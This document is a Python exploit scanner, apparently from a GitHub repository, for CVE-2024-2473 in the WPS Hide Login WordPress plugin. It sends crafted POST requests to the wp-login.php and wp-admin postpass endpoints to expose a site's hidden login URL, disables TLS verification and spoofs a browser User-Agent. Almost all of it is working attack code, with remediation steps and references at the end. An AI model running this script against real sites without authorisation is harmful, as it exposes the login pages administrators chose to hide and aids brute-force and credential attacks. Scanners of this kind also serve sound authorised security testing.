README.md
Rendering markdown...
#!/usr/bin/python3
"""
CVE-2024-2473 - WPS Hide Login <= 1.9.15.2 | Login Page Disclosure Scanner
Coded by Venexy | https://github.com/m4xsec
"""
import argparse
import re
import sys
import time
import requests
from datetime import datetime
from urllib.parse import urlparse
requests.packages.urllib3.disable_warnings()
class C:
RESET = "\033[0m"
BOLD = "\033[1m"
DIM = "\033[2m"
RED = "\033[91m"
GREEN = "\033[92m"
YELLOW = "\033[93m"
BLUE = "\033[94m"
MAGENTA = "\033[95m"
CYAN = "\033[96m"
WHITE = "\033[97m"
ORANGE = "\033[38;5;208m"
PINK = "\033[38;5;205m"
LIME = "\033[38;5;154m"
B_RED = "\033[41m"
B_GREEN = "\033[42m"
def print_banner():
print(f"""
{C.CYAN}{C.BOLD} ██╗ ██╗██████╗ ███████╗ ██╗ ██╗██╗██████╗ ███████╗
██║ ██║██╔══██╗██╔════╝ ██║ ██║██║██╔══██╗██╔════╝
██║ █╗ ██║██████╔╝███████╗ ███████║██║██║ ██║█████╗
██║███╗██║██╔═══╝ ╚════██║ ██╔══██║██║██║ ██║██╔══╝
╚███╔███╔╝██║ ███████║ ██║ ██║██║██████╔╝███████╗
╚══╝╚══╝ ╚═╝ ╚══════╝ ╚═╝ ╚═╝╚═╝╚═════╝ ╚══════╝{C.RESET}
{C.YELLOW}{C.BOLD} ██╗ ██████╗ ██████╗ ██╗███╗ ██╗
██║ ██╔═══██╗██╔════╝ ██║████╗ ██║
██║ ██║ ██║██║ ███╗██║██╔██╗ ██║
██║ ██║ ██║██║ ██║██║██║╚██╗██║
███████╗╚██████╔╝╚██████╔╝██║██║ ╚████║
╚══════╝ ╚═════╝ ╚═════╝ ╚═╝╚═╝ ╚═══╝{C.RESET}
{C.WHITE}{C.BOLD} ┌─────────────────────────────────────────────────────────────┐
│ {C.CYAN}CVE-2024-2473{C.WHITE} • {C.YELLOW}WPS Hide Login Page Identifier{C.WHITE} │
│ {C.DIM}Coded by {C.PINK}Venexy{C.WHITE} {C.DIM}|{C.WHITE} {C.BLUE}https://github.com/m4xsec{C.WHITE} │
└─────────────────────────────────────────────────────────────┘{C.RESET}
""")
def ts() -> str:
return f"{C.DIM}[{datetime.now().strftime('%H:%M:%S')}]{C.RESET}"
def log_info(msg: str):
print(f" {ts()} {C.BLUE}{C.BOLD}[*]{C.RESET} {msg}")
def log_ok(msg: str):
print(f" {ts()} {C.GREEN}{C.BOLD}[+]{C.RESET} {msg}")
def log_warn(msg: str):
print(f" {ts()} {C.YELLOW}{C.BOLD}[!]{C.RESET} {msg}")
def log_err(msg: str):
print(f" {ts()} {C.RED}{C.BOLD}[-]{C.RESET} {msg}")
def log_vuln(msg: str):
print(f" {ts()} {C.RED}{C.BOLD}[VULN]{C.RESET} {msg}")
def separator(char: str = "-", width: int = 65, color: str = C.DIM):
print(f" {color}{char * width}{C.RESET}")
def normalize_url(url: str) -> str:
if not url.startswith(("http://", "https://")):
url = "https://" + url
return url.rstrip("/")
def is_wordpress(base_url: str, session: requests.Session, timeout: int) -> bool:
try:
resp = session.get(base_url, timeout=timeout, verify=False, allow_redirects=True)
return "wp-content" in resp.text or "wp-includes" in resp.text
except requests.RequestException as exc:
log_err(f"Connection error: {exc}")
return False
def check_wp_login(base_url: str, session: requests.Session, timeout: int) -> dict:
url = f"{base_url}/wp-login.php?action=postpass"
data = "action=lostpassword&post_password=test"
result = {
"vulnerable": False,
"hidden_login_url": None,
"url": url,
"status_code": None,
}
try:
resp = session.post(
url, data=data,
headers={"Content-Type": "application/x-www-form-urlencoded"},
timeout=timeout, verify=False, allow_redirects=True,
)
result["status_code"] = resp.status_code
status_ok = resp.status_code == 200
has_form = "lostpasswordform" in resp.text and "action=" in resp.text
no_default = "wp-login.php" not in resp.text
if status_ok and has_form and no_default:
result["vulnerable"] = True
match = re.search(r'<form[^>]+action="([^"]+lostpassword[^"]*)"', resp.text)
if match:
result["hidden_login_url"] = match.group(1)
except requests.RequestException as exc:
log_warn(f"Request failed ({url}): {exc}")
return result
def check_wp_admin(base_url: str, session: requests.Session, timeout: int) -> dict:
url = f"{base_url}/wp-admin/?action=postpass"
result = {
"vulnerable": False,
"redirect_location": None,
"url": url,
"status_code": None,
}
try:
resp = session.post(
url,
headers={"Content-Type": "application/x-www-form-urlencoded"},
timeout=timeout, verify=False, allow_redirects=False,
)
result["status_code"] = resp.status_code
location = resp.headers.get("Location", "")
if (resp.status_code == 302 and location and
("reauth=1" in location or "/login" in location)):
result["vulnerable"] = True
result["redirect_location"] = location
except requests.RequestException as exc:
log_warn(f"Request failed ({url}): {exc}")
return result
def scan(target: str, timeout: int = 10) -> None:
base_url = normalize_url(target)
hostname = urlparse(base_url).netloc
session = requests.Session()
session.headers.update({
"User-Agent": (
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
"AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/120.0.0.0 Safari/537.36"
),
"Host": hostname,
})
print_banner()
separator("=", color=C.CYAN)
print(f" {C.BOLD}{C.WHITE} TARGET {C.RESET} {C.CYAN}{base_url}{C.RESET}")
print(f" {C.BOLD}{C.WHITE} TIME {C.RESET} {C.DIM}{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}{C.RESET}")
print(f" {C.BOLD}{C.WHITE} TIMEOUT {C.RESET} {C.DIM}{timeout}s{C.RESET}")
separator("=", color=C.CYAN)
print()
log_info(f"Phase 1 {C.DIM}|{C.RESET} Fingerprinting WordPress installation ...")
time.sleep(0.3)
if not is_wordpress(base_url, session, timeout):
log_err("WordPress not detected on target. Aborting scan.")
print()
separator()
sys.exit(0)
log_ok(f"WordPress {C.GREEN}confirmed{C.RESET} — {C.CYAN}{base_url}{C.RESET}")
print()
separator()
print()
log_info(f"Phase 2 {C.DIM}|{C.RESET} Testing CVE-2024-2473 bypass vectors ...")
print()
log_info(f"Vector {C.YELLOW}A{C.RESET} {C.DIM}|{C.RESET} POST {C.DIM}/wp-login.php?action=postpass{C.RESET}")
r1 = check_wp_login(base_url, session, timeout)
sc_color = C.GREEN if r1["status_code"] == 200 else C.RED
verdict = f"{C.GREEN}MATCH{C.RESET}" if r1["vulnerable"] else f"{C.DIM}NO MATCH{C.RESET}"
print(f" {C.DIM}+-{C.RESET} Status : {sc_color}{r1['status_code']}{C.RESET} "
f"Result : {verdict}")
time.sleep(0.4)
print()
# Vector B
log_info(f"Vector {C.YELLOW}B{C.RESET} {C.DIM}|{C.RESET} POST {C.DIM}/wp-admin/?action=postpass{C.RESET}")
r2 = check_wp_admin(base_url, session, timeout)
sc_color = C.GREEN if r2["status_code"] == 302 else C.RED
verdict = f"{C.GREEN}MATCH{C.RESET}" if r2["vulnerable"] else f"{C.DIM}NO MATCH{C.RESET}"
print(f" {C.DIM}+-{C.RESET} Status : {sc_color}{r2['status_code']}{C.RESET} "
f"Result : {verdict}")
time.sleep(0.4)
print()
separator()
print()
if r1["vulnerable"] or r2["vulnerable"]:
print(f" {C.RED}{C.BOLD}{'#' * 63}{C.RESET}")
print(f" {C.RED}{C.BOLD}## {'VULNERABILITY CONFIRMED -- CVE-2024-2473':^57} ##{C.RESET}")
print(f" {C.RED}{C.BOLD}{'#' * 63}{C.RESET}")
print()
meta = [
("Plugin", "WPS Hide Login <= 1.9.15.2"),
("Severity", f"{C.YELLOW}Medium{C.RESET} (CVSS 5.3 / EPSS 93rd percentile)"),
("CWE", "CWE-200 — Exposure of Sensitive Information"),
("CVSS Vector", "AV:N / AC:L / PR:N / UI:N / S:U / C:L / I:N / A:N"),
]
for label, value in meta:
print(f" {C.DIM} {label:<14}{C.RESET} {C.WHITE}{value}{C.RESET}")
print()
separator("-")
print()
# Vector A findings
if r1["vulnerable"]:
log_vuln(
f"Bypass confirmed via {C.CYAN}/wp-login.php?action=postpass{C.RESET}"
)
print()
if r1["hidden_login_url"]:
url_len = len(r1["hidden_login_url"]) + 10
box_width = max(url_len, 52)
border = "=" * box_width
print(f" {C.LIME}{C.BOLD} {border}{C.RESET}")
print(f" {C.LIME}{C.BOLD} {' HIDDEN LOGIN URL DISCOVERED ':^{box_width}}{C.RESET}")
print(f" {C.LIME}{C.BOLD} {border}{C.RESET}")
print()
print(f" {C.WHITE}{C.BOLD} >> {C.LIME}{C.BOLD}{r1['hidden_login_url']}{C.RESET}")
print()
print(f" {C.LIME}{C.BOLD} {border}{C.RESET}")
print()
print(f" {C.DIM} The WPS Hide Login plugin has relocated the default")
print(f" wp-login.php to a custom URL. The action=postpass bypass")
print(f" exposes this hidden address to unauthenticated attackers.{C.RESET}")
print()
# Vector B findings
if r2["vulnerable"]:
log_vuln(
f"Bypass confirmed via {C.CYAN}/wp-admin/?action=postpass{C.RESET}"
)
print()
if r2["redirect_location"]:
loc_len = len(r2["redirect_location"]) + 10
box_width = max(loc_len, 52)
border = "=" * box_width
print(f" {C.LIME}{C.BOLD} {border}{C.RESET}")
print(f" {C.LIME}{C.BOLD} {' REDIRECT LOCATION EXPOSED ':^{box_width}}{C.RESET}")
print(f" {C.LIME}{C.BOLD} {border}{C.RESET}")
print()
print(f" {C.WHITE}{C.BOLD} >> {C.LIME}{C.BOLD}{r2['redirect_location']}{C.RESET}")
print()
print(f" {C.LIME}{C.BOLD} {border}{C.RESET}")
print()
separator("-")
print()
print(f" {C.YELLOW}{C.BOLD} REMEDIATION{C.RESET}")
print(f" {C.DIM} +--{C.RESET} Update WPS Hide Login to version {C.GREEN}> 1.9.15.2{C.RESET}")
print(f" {C.DIM} +--{C.RESET} Dashboard -> Plugins -> WPS Hide Login -> Update")
print(f" {C.DIM} +--{C.RESET} {C.BLUE}https://wordpress.org/plugins/wps-hide-login/{C.RESET}")
print()
print(f" {C.YELLOW}{C.BOLD} REFERENCES{C.RESET}")
print(f" {C.DIM} +--{C.RESET} {C.BLUE}https://nvd.nist.gov/vuln/detail/CVE-2024-2473{C.RESET}")
print(f" {C.DIM} +--{C.RESET} {C.BLUE}https://www.wordfence.com/threat-intel/vulnerabilities/"
f"wordpress-plugins/wps-hide-login{C.RESET}")
print()
else:
separator("-", color=C.GREEN)
print(f" {C.GREEN}{C.BOLD} {'TARGET IS NOT VULNERABLE':^61}{C.RESET}")
separator("-", color=C.GREEN)
print()
log_ok("Neither bypass vector produced a positive match.")
log_ok("Plugin may be absent, already patched, or differently configured.")
print()
separator("=", color=C.CYAN)
print(
f" {C.DIM} Scan completed at "
f"{datetime.now().strftime('%Y-%m-%d %H:%M:%S')} | "
f"Coded by {C.PINK}Venexy{C.RESET}{C.DIM} | github.com/m4xsec{C.RESET}"
)
separator("=", color=C.CYAN)
print()
def main():
parser = argparse.ArgumentParser(
description="CVE-2024-2473 — WPS Hide Login Page Disclosure Scanner",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
python CVE-2024-2473.py -u https://example.com
python CVE-2024-2473.py -u http://192.168.1.10 --timeout 15
Coded by Venexy | https://github.com/m4xsec
""",
)
parser.add_argument(
"-u", "--url", required=True, metavar="URL",
help="Target WordPress base URL (e.g. https://example.com)",
)
parser.add_argument(
"-t", "--timeout", type=int, default=10, metavar="SEC",
help="HTTP request timeout in seconds (default: 10)",
)
args = parser.parse_args()
try:
scan(args.url, args.timeout)
except KeyboardInterrupt:
print(f"\n\n {C.YELLOW}[!]{C.RESET} Scan interrupted by user.\n")
sys.exit(1)
if __name__ == "__main__":
main()